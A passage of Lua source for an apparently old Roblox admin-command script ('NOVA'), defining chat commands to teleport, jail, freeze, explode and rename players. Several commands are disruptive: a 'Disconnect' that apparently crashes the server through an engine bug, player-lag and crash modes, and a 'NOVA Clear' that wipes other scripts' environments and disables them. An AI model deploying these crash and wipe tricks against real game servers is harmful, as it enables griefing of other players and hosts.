                Output("Dismiss",NOVA.Colors.Red,Speaker)
2408
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2409
            end
2410
        )
2411
        for i=0,7 do
2412
2413
            Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
2414
                RemoveTablets(Speaker)
2415
                for _,v in pairs(NOVA.Commands) do 
2416
                    if v.Rank == i then
2417
                        Output(v.Name,Data.Color,Speaker,nil,function()
2418
                            RemoveTablets(Speaker)
2419
                            Output("Name : "..v.Name,Data.Color,Speaker)
2420
                            Output("Rank : "..v.Rank,Data.Color,Speaker)
2421
                            Output("Command : "..v.Command,Data.Color,Speaker)
2422
                            Output("Arguments : "..v.Args,Data.Color,Speaker)
2423
                            Output("Description : "..v.Description,Data.Color,Speaker)
2424
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
2425
                        end)
2426
                    end
2427
                end    
2428
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2429
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2430
            end)
2431
        end
2432
        Output("ALL",Data.Color,Speaker,nil,function()
2433
            RemoveTablets(Speaker)
2434
            for _,v in pairs(NOVA.Commands) do
2435
                if GetRank(Speaker) >= v.Rank then
2436
                    Output(v.Name,Data.Color,Speaker,nil,function()
2437
                        RemoveTablets(Speaker)
2438
                        Output("Name : "..v.Name,Data.Color,Speaker)
2439
                        Output("Rank : "..v.Rank,Data.Color,Speaker)
2440
                        Output("Command : "..v.Command,Data.Color,Speaker)
2441
                        Output("Arguments : "..v.Args,Data.Color,Speaker)
2442
                        Output("Description : "..v.Description,Data.Color,Speaker)
2443
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2444
                    end)
2445
                end
2446
            end
2447
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2448
            Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2449
        end)    
2450
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2451
    end
2452
)
2453
2454
AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
2455
    function(Msg,Speaker)
2456
        Instance.new("ManualSurfaceJointInstance",workspace)
2457
    end
2458
)
2459
2460
AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
2461
    function(Msg,Speaker)
2462
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2463
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2464
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2465
            else
2466
                pcall(function() 
2467
                    Lag(v)
2468
                end)
2469
            end
2470
        end
2471
    end
2472
)
2473
2474
2475
AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
2476
    function(Msg,Speaker)
2477
        RemoveTablets(Speaker)
2478
        Output("List","Random",Speaker,nil,
2479
            function()
2480
                RemoveTablets(Speaker)
2481
                for _,v in pairs(NOVA.Ranked) do
2482
                    if v.InPRI == true then
2483
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
2484
                            RemoveTablets(Speaker)
2485
                            OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2486
                        end)
2487
                    end
2488
                end
2489
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2490
            end
2491
        )
2492
        
2493
        Output("Type","Random",Speaker,nil,
2494
            function()
2495
                RemoveTablets(Speaker)
2496
                Output("Kick",NOVA.Colors.Orange,Speaker,nil,
2497
                    function()
2498
                        NOVA.PRIType = "Kick"
2499
                        RemoveTablets(Speaker)
2500
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2501
                    end
2502
                )
2503
                Output("Lag",NOVA.Colors.Red,Speaker,nil,
2504
                    function()
2505
                        NOVA.PRIType = "Lag"
2506
                        RemoveTablets(Speaker)
2507
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2508
                    end
2509
                )
2510
                Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
2511
                    function()
2512
                        NOVA.PRIType = "Shutdown"
2513
                        RemoveTablets(Speaker)
2514
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2515
                    end
2516
                )
2517
                Output("Crash",NOVA.Colors.Orange,Speaker,nil,
2518
                    function()
2519
                        NOVA.PRIType = "Crash"
2520
                        RemoveTablets(Speaker)
2521
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2522
                    end
2523
                )
2524
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2525
            end
2526
        )
2527
        Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
2528
            function()
2529
                NOVA.PRI = true
2530
                RemoveTablets(Speaker)
2531
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2532
            end
2533
        )
2534
        
2535
        Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
2536
            function()
2537
                NOVA.PRI = false
2538
                RemoveTablets(Speaker)
2539
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2540
            end
2541
        )
2542
        
2543
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2544
    end
2545
)
2546
2547
--[[ GET COMMANDS ]]--
2548
2549
AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
2550
    function(Msg,Speaker)
2551
        if #Msg == 0 or Msg == nil then
2552
            RemoveTablets(Speaker)
2553
            for _,v in pairs(NOVA.Ranks) do
2554
                local RankNumber = v[1]
2555
                local RankName = v[2]
2556
                Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
2557
                    function()
2558
                        RemoveTablets(Speaker)
2559
                        for _,v in pairs(GetPlayersRaw()) do
2560
                            if GetRank(v) == RankNumber then
2561
                                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2562
                                    function()
2563
                                        PlayerInterface(v,Speaker)
2564
                                    end
2565
                                )
2566
                            end
2567
                        end
2568
                        Output("Done",NOVA.Colors.Blue,Speaker,nil,
2569
                            function()
2570
                                OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2571
                            end
2572
                        )
2573
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2574
                    end
2575
                )
2576
            end
2577
            Output("ALL",NOVA.Colors.Blue,Speaker,nil,
2578
                function()
2579
                    RemoveTablets(Speaker)
2580
                    
2581
                    for _,v in pairs(GetPlayersRaw()) do
2582
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2583
                            function()
2584
                                PlayerInterface(v,Speaker)
2585
                            end
2586
                        )
2587
                    end
2588
2589
                    Output("Done",NOVA.Colors.Blue,Speaker,nil,
2590
                        function()
2591
                            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2592
                        end
2593
                    )
2594
                    Output("Dismiss",NOVA.Colors.Red,Speaker)
2595
                end
2596
            )    
2597
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2598
        else
2599
            PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
2600
        end
2601
    end
2602
)
2603
2604
AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
2605
    function(Msg,Speaker)
2606
        Split = GetSplit(Msg)
2607
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2608
            GetRankedTable(v).Desc = Msg:sub(Split+1)
2609
            SyncRankOutSingular(v)
2610
        end
2611
    end
2612
)
2613
2614
AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
2615
    function(Msg,Speaker)
2616
        if Msg == "true" then
2617
            GetRankedTable(Speaker).CMD = true
2618
        elseif Msg == "false" then
2619
            GetRankedTable(Speaker).CMD = false
2620
            pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
2621
        else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
2622
        end
2623
        SyncRankOutSingular(Speaker)
2624
    end
2625
)
2626
2627
AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
2628
    function(Msg,Speaker)
2629
        pcall(function()
2630
            for i=1,4 do
2631
                Instance.new("HopperBin",Speaker.Backpack).BinType = i
2632
            end
2633
        end)
2634
    end
2635
)
2636
2637
AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
2638
    function(Msg,Speaker)
2639
        pcall(function()
2640
            Speaker:LoadCharacter()
2641
        end)
2642
    end
2643
)
2644
2645
AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
2646
    function(Msg,Speaker)
2647
        Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
2648
    end
2649
)
2650
2651
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
2652
    function(Msg,Speaker)
2653
        pcall(function()
2654
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2655
                for i=1,4 do
2656
                    Instance.new("HopperBin",Speaker.Backpack).BinType = i
2657
                end
2658
            end
2659
        end)
2660
    end
2661
)
2662
2663
AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
2664
    function(Msg,Speaker)
2665
        local Split = GetSplit(Msg)
2666
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2667
            if GetRank(Speaker) > GetRank(v) then
2668
                if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
2669
                    Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
2670
                else
2671
                    GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
2672
                    SyncRankOutSingular(v)
2673
                end
2674
            end
2675
        end
2676
    end
2677
)
2678
2679
AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
2680
    function(Msg,Speaker)
2681
2682
        Split = GetSplit(Msg)              
2683
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2684
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)
2685
        for _,a in pairs(send) do
2686
            for _,b in pairs(to) do
2687
                pcall(function()
2688
                    a.Character.Torso.CFrame = b.Character.Torso.CFrame 
2689
                end)
2690
            end
2691
        end
2692
        
2693
    end
2694
)
2695
2696
AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
2697
    function(Msg,Speaker)
2698
2699
        Split = GetSplit(Msg)           
2700
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2701
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
2702
        for i, player in pairs(send) do
2703
            pcall(function()
2704
                player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position) 
2705
                * CFrame.Angles(0, math.rad(i * 360 / #send), 0) 
2706
                * CFrame.new(0, 0, 3 + (#send*2) )
2707
            end)
2708
        end
2709
    end
2710
)
2711
2712
AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
2713
    function(Msg,Speaker)
2714
        Split = GetSplit(Msg)                
2715
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2716
            pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
2717
        end
2718
    end
2719
)
2720
2721
AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
2722
    function(Msg,Speaker)
2723
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2724
            pcall(function()
2725
                v.Character:BreakJoints()
2726
                E = Instance.new("Explosion",NOVA.Services.Workspace)
2727
                E.Position = v.Character.Torso.Position
2728
                E.BlastPressure = 124000
2729
            end)
2730
        end
2731
    end
2732
)
2733
2734
AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
2735
    function(Msg,Speaker)
2736
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2737
            pcall(function()
2738
                v.Character.Humanoid.MaxHealth = math.huge
2739
            end)
2740
        end
2741
    end
2742
)
2743
2744
AddCommand("God","god",2,"makes the selected player god.","<Player>",
2745
    function(Msg,Speaker)
2746
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2747
            pcall(function()
2748
                v.Character.Torso.Touched:connect(function(part)
2749
                    if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
2750
                        part.CanCollide = true
2751
                        part:BreakJoints()
2752
                        for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
2753
                    end
2754
                end)
2755
            end)
2756
        end
2757
    end
2758
)
2759
2760
AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
2761
    function(Msg,Speaker)
2762
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2763
            pcall(function()
2764
                v.Character.Parent = NOVA.Services.Lighting
2765
            end)
2766
        end
2767
    end
2768
)
2769
2770
AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
2771
    function(Msg,Speaker)
2772
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2773
            pcall(function()
2774
                v.Character.Parent = NOVA.Services.Workspace
2775
                v.Character:MakeJoints()
2776
                pcall(function() v.Character.Animate.Disabled = false end)
2777
            end)
2778
        end
2779
    end
2780
)
2781
2782
AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
2783
    function(Msg,Speaker)
2784
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2785
            pcall(function()
2786
                for _,part in pairs(v.Character:GetChildren()) do
2787
                    pcall(function() 
2788
                        part.Anchored = true
2789
                    end)
2790
                end
2791
            end)
2792
        end
2793
    end
2794
)
2795
2796
AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
2797
    function(Msg,Speaker)
2798
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2799
            pcall(function()
2800
                for _,part in pairs(v.Character:GetChildren()) do
2801
                    pcall(function() 
2802
                        part.Anchored = false
2803
                    end)
2804
                end
2805
            end)
2806
        end
2807
    end
2808
)
2809
2810
AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
2811
    function(Msg,Speaker)
2812
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2813
            pcall(function()
2814
                for _,part in pairs(v.Backpack:GetChildren()) do
2815
                    part:Destroy()
2816
                end
2817
            end)
2818
        end
2819
    end
2820
)
2821
2822
AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
2823
    function(Msg,Speaker)
2824
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2825
            pcall(function()
2826
                v.Backpack:Destroy()
2827
            end)
2828
        end
2829
    end
2830
)
2831
2832
AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
2833
    function(Msg,Speaker)
2834
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2835
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2836
            pcall(function() v.Character.Humanoid.Sit = true end)
2837
        end
2838
    end
2839
)
2840
2841
AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
2842
    function(Msg,Speaker)
2843
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2844
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2845
            pcall(function() v.Character.Humanoid.Sit = false end)
2846
        end
2847
    end
2848
)
2849
2850
AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
2851
    function(Msg,Speaker)
2852
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2853
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2854
            pcall(function() v.Character.Humanoid.Jump = true end)
2855
        end
2856
    end
2857
)
2858
2859
AddCommand("Control","control",2,"Controls the selected player","<Player>",
2860
    function(Msg,Speaker)
2861
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2862
            pcall(function()
2863
                Speaker.Character = v.Character
2864
            end)
2865
        end
2866
    end
2867
)
2868
2869
AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
2870
    function(Msg,Speaker)
2871
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2872
            pcall(function()
2873
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2874
                    coroutine.resume(coroutine.create(function()
2875
                        for i=1,10  do
2876
                            wait()
2877
                            v.Transparency = v.Transparency + 0.1
2878
                        end
2879
                    end))
2880
                end
2881
            end)
2882
        end
2883
    end
2884
)
2885
2886
AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
2887
    function(Msg,Speaker)
2888
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2889
            pcall(function()
2890
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2891
                    coroutine.resume(coroutine.create(function()
2892
                        for i=1,10  do
2893
                            wait()
2894
                            v.Transparency = v.Transparency - 0.1
2895
                        end
2896
                    end))
2897
                end
2898
            end)
2899
        end
2900
    end    
2901
)
2902
2903
AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
2904
    function(Msg,Speaker)
2905
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2906
            pcall(function()
2907
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
2908
            end)
2909
        end
2910
    end
2911
)
2912
2913
AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
2914
    function(Msg,Speaker)
2915
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2916
            pcall(function()
2917
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
2918
            end)
2919
        end
2920
    end
2921
)
2922
2923
AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
2924
    function(Msg,Speaker)
2925
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2926
            pcall(function()
2927
                coroutine.resume(coroutine.create(function()
2928
                    local MainCF = v.Character.Torso.CFrame
2929
                    local Main = Instance.new("Model",workspace)
2930
                    Main.Name = "Main"
2931
                    table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
2932
                    for Pitch = 1, 360, 360 do
2933
                        for Yaw = 1, 360, 360/13 do
2934
                            for Angle = 1,180, 8 do
2935
                                local Part = Instance.new("Part",Main)
2936
                                Part.Name = "Part"
2937
                                Part.FormFactor = "Custom"
2938
                                Part.TopSurface = "Smooth"
2939
                                Part.BottomSurface = "Smooth"
2940
                                Part.Reflectance = 0
2941
                                Part.Transparency = 0
2942
                                Part.Anchored = true
2943
                                Part.Locked = true
2944
                                Part.CanCollide = true
2945
                                Part.BrickColor = BrickColor.new("Navy blue")
2946
                                Part.Size = Vector3.new(2,1,4)
2947
                                Part.CFrame = MainCF
2948
                                    * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
2949
                                    * CFrame.new(0,5,0)
2950
                                local Mesh = Instance.new("BlockMesh",Part)
2951
                                Mesh.Scale = Vector3.new(1,1,0.1)
2952
                                if math.floor(Angle/5) == Angle/5 then
2953
                                    wait()
2954
                                end
2955
                            end
2956
                        end
2957
                    end
2958
                    
2959
                    v.Character.Torso.CFrame = MainCF
2960
                    
2961
                    while Main.Parent ~= nil do
2962
                        wait()
2963
                        pcall(function()
2964
                            if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
2965
                                v.Character.Torso.CFrame = MainCF
2966
                            end
2967
                        end)
2968
                    end
2969
                end))
2970
            end)
2971
        end
2972
    end
2973
)
2974
2975
AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
2976
    function(Msg,Speaker)
2977
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2978
            for Num,Jail in pairs(NOVA.Jails) do
2979
                if Jail.Player ~= nil and Jail.Player == v then
2980
                    pcall(function() Jail.Jail:Destroy() end)
2981
                    table.remove(NOVA.Jails,Num)
2982
                end
2983
            end
2984
        end
2985
    end
2986
)
2987
2988
AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
2989
    function(Msg,Speaker)
2990
        for i,v in pairs(_G) do
2991
            if type(v) == "function" and getfenv(v).NOVA == nil then
2992
                for var,val in pairs(getfenv(v)) do
2993
                    pcall(function() getfenv(v)[var] = nil end)
2994
                end
2995
            end
2996
        end
2997
        for i,v in pairs(_G) do
2998
            _G[i] = nil
2999
        end
3000
        SetGlobals()
3001
        for _,v in pairs(NOVA.Services) do 
3002
            v.Name = "Unknown Exception"
3003
        end    
3004
        for i,v in pairs(GetRecursiveChildren()) do
3005
            pcall(function()
3006
                if not v:IsA("Player") then
3007
                    pcall(function()
3008
                        if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
3009
                        else
3010
                            pcall(function()
3011
                                v.Disabled = true
3012
                            end)
3013
                            pcall(function()
3014
                                NOVA.Services.Debris:AddItem(v,0)
3015
                            end)
3016
                        end
3017
                    end)
3018
                end
3019
            end)
3020
        end
3021
        for _,v in pairs(NOVA.Services) do    
3022
            v.Name = v.className
3023
        end
3024
        local Base=Instance.new("Part",NOVA.Services.Workspace)
3025
        Base.Name="Base"
3026
        Base.Size=Vector3.new(2048,1,2048)
3027
        Base.BrickColor=BrickColor.new("Bright green")
3028
        Base.Anchored=true
3029
        Base.Locked=true
3030
        Base.TopSurface="Smooth"
3031
        Base.Transparency = 1
3032
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
3033
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
3034
        Spawn.Size=Vector3.new(6,1,6)
3035
        Spawn.Transparency=1
3036
        Spawn.CanCollide=false
3037
        Spawn.Anchored=true
3038
        Spawn.Locked=true
3039
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
3040
        for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
3041
    end
3042
)
3043
3044
AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
3045
    function (Msg,Speaker)
3046
        Split = GetSplit(Msg)
3047
        for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
3048
            pcall(function()
3049
                Team = nil
3050
                for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
3051
                    if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
3052
                        Team = find
3053
                    end
3054
                end
3055
                v.TeamColor = Team.TeamColor
3056
            end)
3057
        end
3058
    end
3059
)
3060
3061
AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
3062
    function(Msg,Speaker)
3063
        RemoveTablets(Speaker)
3064
        for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
3065
            if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
3066
                v:Remove()
3067
            end
3068
        end
3069
    end
3070
)
3071
3072
AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
3073
    function(Msg,Speaker)
3074
        Split = GetSplit(Msg)
3075
        Team = Instance.new("Team",NOVA.Services.Teams)
3076
        Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
3077
        Team.Name = Msg:sub(1,Split-1)
3078
        Team.AutoAssignable = false
3079
        Team.Neutral = false
3080
    end
3081
)
3082
3083
AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
3084
    function(Msg,Speaker)
3085
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3086
            v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
3087
        end
3088
    end
3089
)
3090
3091
AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
3092
    function(Msg,Speaker)
3093
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3094
        
3095
                        local ride = Instance.new("VehicleSeat", Workspace)
3096
                        ride.Position = v.Character.Torso.Position
3097
                        ride.HeadsUpDisplay = false
3098
			ride.Size = Vector3.new(3,3,3)
3099
                        local bg = Instance.new("BodyGyro", ride)
3100
                        bg.maxTorque = Vector3.new(1e10,1e10,1e10)
3101
                        local bp = Instance.new("BodyPosition", ride)
3102
                        bp.position = v.Character.Torso.Position
3103
                        bp.maxForce = Vector3.new(1e10,1e10,1e10)
3104
			Mesh = Instance.new("SpecialMesh")
3105
			Mesh.Parent = ride
3106
			Mesh.MeshType = Enum.MeshType.Sphere
3107
			ride.Transparency = 0.40000000596046
3108
3109
                        while wait() do
3110
                            bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
3111
                            bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
3112
                    	end
3113
                       
3114
        end
3115
    end
3116
)
3117
3118
3119
3120
AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
3121
    function(Msg,Speaker)
3122
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3123
            v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
3124
        end
3125
    end
3126
)
3127
3128
AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
3129
    function(Msg,Speaker)
3130
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
3131
            if Prometheus ~= nil then
3132
                if v ~= Prometheus.script("lushmylife") then
3133
                    pcall(function()
3134
                        v:Destroy()
3135
                    end)
3136
                end
3137
            else
3138
                pcall(function()
3139
                    v:Destroy()
3140
                end)
3141
            end
3142
        end    
3143
        
3144
        local Base=Instance.new("Part",NOVA.Services.Workspace)
3145
        Base.Name="Base"
3146
        Base.Size=Vector3.new(2048,1,2048)
3147
        Base.BrickColor=BrickColor.new("Dark green")
3148
        Base.Anchored=true
3149
        Base.Locked=true
3150
        Base.TopSurface="Studs"
3151
        Base.Transparency = 0
3152
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
3153
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
3154
        Spawn.Size=Vector3.new(6,1,6)
3155
        Spawn.Transparency=1
3156
        Spawn.CanCollide=false
3157
        Spawn.Anchored=true
3158
        Spawn.Locked=true
3159
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))        
3160
        for _,v in pairs(GetPlayersRaw()) do
3161
            v:LoadCharacter()
3162
        end
3163
    
3164
    end
3165
)
3166
3167
AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
3168
    function(Msg,Speaker)
3169
        RemoveTablets(Speaker)
3170
        Explore(game,Speaker)
3171
    end
3172
)
3173
3174
AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
3175
    function(Msg,Speaker)
3176
        if NOVA.LockedScripts == true then 
3177
            NOVA.LockedScripts = false
3178
        elseif NOVA.LockedScripts == false then
3179
            NOVA.LockedScripts = true
3180
        end
3181
        
3182
    end
3183
)
3184
3185
AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
3186
    function(Msg,Speaker)
3187
        for _,v in pairs(GetPlayers(Msg,Speaker)) do    
3188
            for i=1,25 do
3189
                coroutine.resume(coroutine.create(function()
3190
                    wait()
3191
                    local Part = Instance.new("Part",NOVA.Services.Workspace)
3192
                    Part.FormFactor = "Custom"
3193
                    Part.Transparency = 1
3194
                    Part.CanCollide = false
3195
                    Part.Anchored = false
3196
                    Part.Locked = true
3197
                    Part.Size = Vector3.new(1,1,1)
3198
                    Part.CFrame = v.Character.Head.CFrame
3199
                    Part:BreakJoints()
3200
                    
3201
                    local BBG = Instance.new("BillboardGui",Part)
3202
                    BBG.Adornee = Part
3203
                    BBG.Size = UDim2.new(3,0,1,0)
3204
                    --BBG.StudsOffset = Vector3.new(0, 0, 1)
3205
3206
                    local Img = Instance.new("ImageLabel",BBG)
3207
                    Img.Size = UDim2.new(1,0,1,0)
3208
                    Img.BackgroundTransparency = 1
3209
                    Img.Image = "http://www.roblox.com/asset/?id=45120559"
3210
                    
3211
                    local BP = Instance.new("BodyPosition",Part)
3212
                    BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
3213
                    --BP.D = 2000
3214
                    BP.P = 1000
3215
                    BP.position = Part.Position + Vector3.new(
3216
                        math.random(-7,7),
3217
                        math.random(-7,7),
3218
                        math.random(-7,7))
3219
                        
3220
                    for v = 3,0,-0.1 do
3221
                        wait(0.1)
3222
                        BBG.Size = UDim2.new(v,0,v,0)
3223
                    end
3224
                    Part:Remove()
3225
                end))
3226
            end
3227
        end
3228
    end
3229
)
3230
3231
AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
3232
    function(Msg,Speaker)
3233
        NOVA.Canceled = true
3234
    end
3235
)
3236
3237
AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
3238
    function(Msg,Speaker)
3239
        Split = GetSplit(Msg)
3240
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3241
            pcall(function()
3242
                local OldHead = v.Character.Head
3243
                local Model = Instance.new("Model",v.Character.Head)
3244
                Model.Name = Msg:sub(Split+1)
3245
                local Head = OldHead:Clone()
3246
                Head.Parent = Model
3247
                Head.Transparency = 0
3248
